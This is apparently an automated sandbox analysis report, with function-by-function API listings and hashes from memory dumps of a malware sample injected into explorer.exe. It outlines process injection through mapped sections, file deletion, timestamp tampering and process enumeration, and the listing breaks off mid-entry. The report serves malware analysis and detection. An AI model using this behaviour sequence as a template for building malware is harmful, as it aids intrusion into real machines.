Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: DeleteFile$ExitSleepThreadUser
String ID: |:|
API String ID: 2796381497-3736120136
Opcode ID: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction ID: b61b1a19a0d1122c38a0cb15e3304c09cdeb41e5acb571377820d73b109d2262
Opcode Fuzzy Hash: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction Fuzzy Hash: B4E1C830718F588FD719EB2888687BA76D1FB99351F50062ED99FD3280DF34E9058B86

Function 08751AF8 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 08751C0F
CreateThread.KERNEL32 ref: 08751DCA
FindCloseChangeNotification.KERNEL32 ref: 08751DD3
CreateThread.KERNEL32 ref: 08751DF1

Strings

iP+, xrefs: 08751D5A

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$ChangeCloseFindHeapNotification
String ID: iP+
API String ID: 1654390035-51890417
Opcode ID: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction ID: b654dd93c1979b6b15e79898f85312fa323dae96465564b0a465d7091f29bc5e
Opcode Fuzzy Hash: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction Fuzzy Hash: 4291B330618A088FCF58EF18D8957A573D6FB94303B98017EDC4ECB25AEA70D541CBA6

Function 0875202C Relevance: 7.7, APIs: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 087520B6
CopyFileW.KERNEL32 ref: 087520C5
DeleteFileW.KERNEL32 ref: 087520D6
DeleteFileW.KERNEL32 ref: 08752121

Part of subcall function 08754A48: SetFileAttributesW.KERNEL32 ref: 08754A97
Part of subcall function 08754A48: CreateFileW.KERNEL32 ref: 08754AC1
Part of subcall function 08754A48: SetFileTime.KERNEL32 ref: 08754AEC

CreateFileW.KERNEL32 ref: 087521AD

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: File$Delete$Create$AttributesCopyTime
String ID:
API String ID: 642576546-0
Opcode ID: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction ID: 26f786566129bb6357fc72cdf92b551c5fd19da4489c06f55c9e422d06f12361
Opcode Fuzzy Hash: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction Fuzzy Hash: 04414C20718A4C4FDFA8EF6C945836E35D2EBCC212F50053EA90EC7389DEB89D068795

Function 08753D1C Relevance: 7.6, APIs: 5, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 08753D3E
Process32First.KERNEL32 ref: 08753D5D
Process32Next.KERNEL32 ref: 08753DA8
FindCloseChangeNotification.KERNEL32 ref: 08753DB5
SleepEx.KERNEL32 ref: 08753DC0

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSleepSnapshotToolhelp32
String ID:
API String ID: 14014868-0
Opcode ID: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction ID: ffb036a2c8ac557ee8da5ac5e6d5c249f66934cc7ad775dd5f7e0c4d2a4111e1
Opcode Fuzzy Hash: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction Fuzzy Hash: 8E21D230218A088FDB58AF24C0887AA72A2FB88356F140A3ED80FDA29DDB7494458761

Function 02F21AF8 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 02F21C0F
CreateThread.KERNEL32 ref: 02F21DCA
CreateThread.KERNEL32 ref: 02F21DF1

Strings

iP+, xrefs: 02F21D5A

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$Heap
String ID: iP+
API String ID: 1054751041-51890417
Opcode ID: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction ID: bfd0de9bac1a75ec152ba0b9c21e269c2be86b86fec9a94ac7903e6eae8f1316
Opcode Fuzzy Hash: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction Fuzzy Hash: 4891B230A18E088FCF58EF18DC826A673E6FB95340B480179DD4ECB156DA74E545CB9A

Function 08754A48 Relevance: 4.6, APIs: 3, Instructions: 84
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 08754A97
CreateFileW.KERNEL32 ref: 08754AC1
SetFileTime.KERNEL32 ref: 08754AEC

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateTime
String ID:
API String ID: 1986686026-0
Opcode ID: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction ID: b9a1d271c2cb268d84f72bf521c1f1ff73b2f2a2d3b41d15412c41ebaa5bfea9
Opcode Fuzzy Hash: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction Fuzzy Hash: 2F21303070CA488FDF64EF68988879EB6E2FBDC705F10456EA84EC7245DA34DA058782

Function 087540A4 Relevance: 3.4, APIs: 2, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction ID: 7b06944b59648bff5f3f61beae3674d26a678bddebaa1dfacd68b8fd194eb120
Opcode Fuzzy Hash: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction Fuzzy Hash: 9CD19330718B098FDB64EF68D4496AEB7E2FF98701F10452DE84AD3245DE74E8428B96

Function 08754F28 Relevance: 3.1, APIs: 2, Instructions: 122
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNEL32 ref: 08754FAD
ObtainUserAgentString.URLMON ref: 08755016

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: AgentObtainQueryStringUserValue
String ID:
API String ID: 4107646653-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: fac86ed4e8bd2bb91b74a659a80d557605e32a2cb803d6aeeb6759a864c4a307
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: FE31B631608A488FDF18EF6CD8895E977D1FB88315B00027EEC5EC7645EEB4980687E1

Function 08751EB4 Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 08754DB8: GetVolumeInformationA.KERNEL32 ref: 08754E25

CreateMutexExA.KERNEL32 ref: 08751F27
CreateFileMappingA.KERNEL32 ref: 08751FD9

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: c547a6a2eb8c0173e19000af88f6da15901c60320813a12413d2ff8ef945013d
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: BD415F30718F088FEB64EB38801C7AA76D1EB98717F504A2E885ED6289CFB49602D755

Function 02F21EB4 Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F24DB8: GetVolumeInformationA.KERNEL32 ref: 02F24E25

CreateMutexExA.KERNEL32 ref: 02F21F27
CreateFileMappingA.KERNEL32 ref: 02F21FD9

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: 5c4f15f445effe8abc1aa45ae53e830f6fc9cf25730eedf10259f930b8ce1d3e
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: 4741D530B08F188FEB64EB3484187AF72D2EF99756F40492E855FD6244CF74960A8B81

Function 08754B68 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 08754BBC
GetTokenInformation.KERNELBASE ref: 08754BF3

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction ID: 9f13ded76f057174db582e201064a52d504701bf12812d23cd325431a5f62245
Opcode Fuzzy Hash: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction Fuzzy Hash: 9E213334608A088FC754EF28C45856AB7E2FFD9311B004A6EE49AC7364DA70E845DB41

Function 02F24B68 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 02F24BBC
GetTokenInformation.KERNELBASE ref: 02F24BF3

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction ID: dbde98923ac5bb36f4682043a0e1f6a653f9574b0e1d10cd134064c7cda8b4e3
Opcode Fuzzy Hash: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction Fuzzy Hash: 0A210134608A188FC754EF28D49866AB7E2FFD9311B004A6EE59AC7264DB70EC459B81

Function 02F23D1C Relevance: 3.1, APIs: 2, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 02F23D3E
SleepEx.KERNEL32 ref: 02F23DC0

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateSleepSnapshotToolhelp32
String ID:
API String ID: 684154974-0
Opcode ID: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction ID: 62e0a7a736a0b92164ef79647558614512471a9c47f75cbaa36e6e08760b15aa
Opcode Fuzzy Hash: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction Fuzzy Hash: 25210A30214A1C8FDB18EF64C4887AA72E2FB89355F540B7EE54FDE145DB389449C751

Function 08753DF8 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 08753E14
SleepEx.KERNEL32 ref: 08753E1F

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: 27e2186cf2a812d0e5c85e72314b0ebbc849e80339b4b67ddea2b25a28c96213
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: D3E04F30505609CFEB68AFA5C0DCBB036A1EB18206F14017EDC0EDD2A9CB764945C730

Function 02F23DF8 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32 ref: 02F23E14
SleepEx.KERNEL32 ref: 02F23E1F

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: 2f7156017839cf04e335c01c475b469fc0d937283fe688c48a794a63c5e139b0
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 7AE04F30904A098FEB68AFA5C0DCBB036A1EB18206F1401BADD0EDD285CB7A494DC720

Function 02F240A4 Relevance: 1.9, APIs: 1, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction ID: 7d76533d4c43a26cc1947cd5d4f55a4922499da17e2abfdd2b2d4ed5b07d8e8b
Opcode Fuzzy Hash: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction Fuzzy Hash: A2D1B230B18B198FDB58EF68D84576EB7E2FB99740F50452EE54AC3241DF74E8068B82

Function 02F2202C Relevance: 1.7, APIs: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 02F221AD

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction ID: 9fe8805dc2754fcf2aa3118cc879f0f3aae556c263f6b404a63950e226ae4d6a
Opcode Fuzzy Hash: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction Fuzzy Hash: 6D414020718A6C4FDB98AF6C585836D71D3EBD9751F50013D990EC7385CE789D0A8781

Function 08753414 Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0875345A

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: 5d19aa62fba4f8e6259abad89df4d27d948eb50135fc4758212d52b751e5fb8c
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: 8441A330718A0D4FD79CEA7C945937AB6C2FB89612F10062EA89FC3355DE74981347D2

Function 02F23414 Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 02F2345A

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: 80255f198ec68189e2e62dd41f7705da192ddb1f62aab0ec8329b65b13dbb17a
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: 9741C23071CE1E4FD75CEA6C985937AB6C2FB89761F50026EA69FC3241DE289C1647C2

Function 02F24F28 Relevance: 1.6, APIs: 1, Instructions: 122registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32 ref: 02F24FAD

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: 5acbcaf16425667662353739b59b26e728ec31631883a1d100bbb856585dcdbd
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: 0031C631608A598FDB18EF68DC896E977D2FB99350B00027AE94AC7145EF74DC0A47D1

Function 08754DB8 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 08754E25

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction ID: c7725b4c8d14fd951d800ceb8dde2b8ed48763b0edda92704f9c3c55d3c8d49b
Opcode Fuzzy Hash: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction Fuzzy Hash: 4A316730618A4C8FDB64EF28C448AAA77E1FBD8311F10466E984EC7264DE74D945CB91

Function 02F24DB8 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 02F24E25

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction ID: 2e1b7213347e248d3a5f27be914c82e2705b4939bdab9a050a4ef24e92055234
Opcode Fuzzy Hash: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction Fuzzy Hash: 19318B30618A4C8FDB64FF28C858BAA77E2FBD8311F10466E994EC7264DE30D945CB81

Function 08751AA8 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 08751AF8: RtlCreateHeap.NTDLL ref: 08751C0F

SleepEx.KERNEL32(?,?,?,?,?,?,?,08751A9B), ref: 08751AC8

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: 632676b1599dcb8c70b530a48241a5b9715405a3cf2d6af2de784e972a80112e
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: 3EE04F14714F084BDB95BBB8D4D872D7191EB88253F94467EAD1EC638DD9B4CC815331

Function 02F21AA8 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 02F21AF8: RtlCreateHeap.NTDLL ref: 02F21C0F

SleepEx.KERNEL32(?,?,?,?,?,?,?,02F21A9B), ref: 02F21AC8

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: c53844c2e1407def2fb34f59902f876b661472c6afaee09f05cc4081158fdb10
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: 15E04810714F1C0BDB94BBB8D8D472F7191EB8A2D0F54157D9A1EC6186D925C8494B25

Non-executed Functions

Function 08752968 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction ID: 3fb6c69d212b9d07243242311dfc4e17a6db13c39d2757e782f8b817db99b2b0
Opcode Fuzzy Hash: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction Fuzzy Hash: 6DD18830718F088FDB68EF6C849826E72D2FB98306F50456ED84EC3259DFB4E9468795

Function 02F22968 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f21000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction ID: bd81ef8100e8e552e60756cc436841ba97821fb015e0e68f7417ebebbba2baa8
Opcode Fuzzy Hash: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction Fuzzy Hash: 57D1B630718F188FDB68EF68849826EB2D2FB99351F50052ED94FC3255DF74E90A8B85

Analysis Process: ifvwgruPID: 3248, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	37.1%
Signature Coverage:	0%
Total number of Nodes:	89
Total number of Limit Nodes:	3

Executed Functions

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6d46c8a6fce290316f39b6869c298df5b0ebc69594c79ab5c6b7b5b864eca8fa
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 6d46c8a6fce290316f39b6869c298df5b0ebc69594c79ab5c6b7b5b864eca8fa
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d3862df6149cc6d9473f3846e0a5cef4746480e6edce1058660ec2639c81cc0b
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: d3862df6149cc6d9473f3846e0a5cef4746480e6edce1058660ec2639c81cc0b
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
